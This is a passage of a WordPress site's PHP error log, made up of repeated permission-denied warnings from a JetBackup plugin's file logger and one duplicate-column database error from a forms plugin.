fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:34:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:35:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:36:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:36:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:37:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:38:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:39:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:40:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:41:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:41:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:41:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:41:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:41:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:42:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:42:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:42:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:43:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:44:11 UTC] WordPress database error Duplicate column name 'language' for query ALTER TABLE wpuz_srfm_entries ADD COLUMN language VARCHAR(20), ADD INDEX idx_form_id_language (form_id, language) made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, SRFM\Plugin_Loader->load_plugin, SRFM\Inc\Database\Register::init, SRFM\Inc\Database\Base->maybe_add_new_columns [24-Jun-2026 20:44:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:45:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:46:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:46:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:46:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:46:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:47:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:48:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:48:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:48:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:48:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:48:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:49:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:50:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:51:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:52:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:53:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:54:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:55:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:56:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:57:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:58:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:59:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:00:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:01:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:02:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:03:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:04:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:05:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:06:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:07:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:08:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:09:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:10:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:11:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:14:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:15:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:16:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:17:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:18:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:19:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 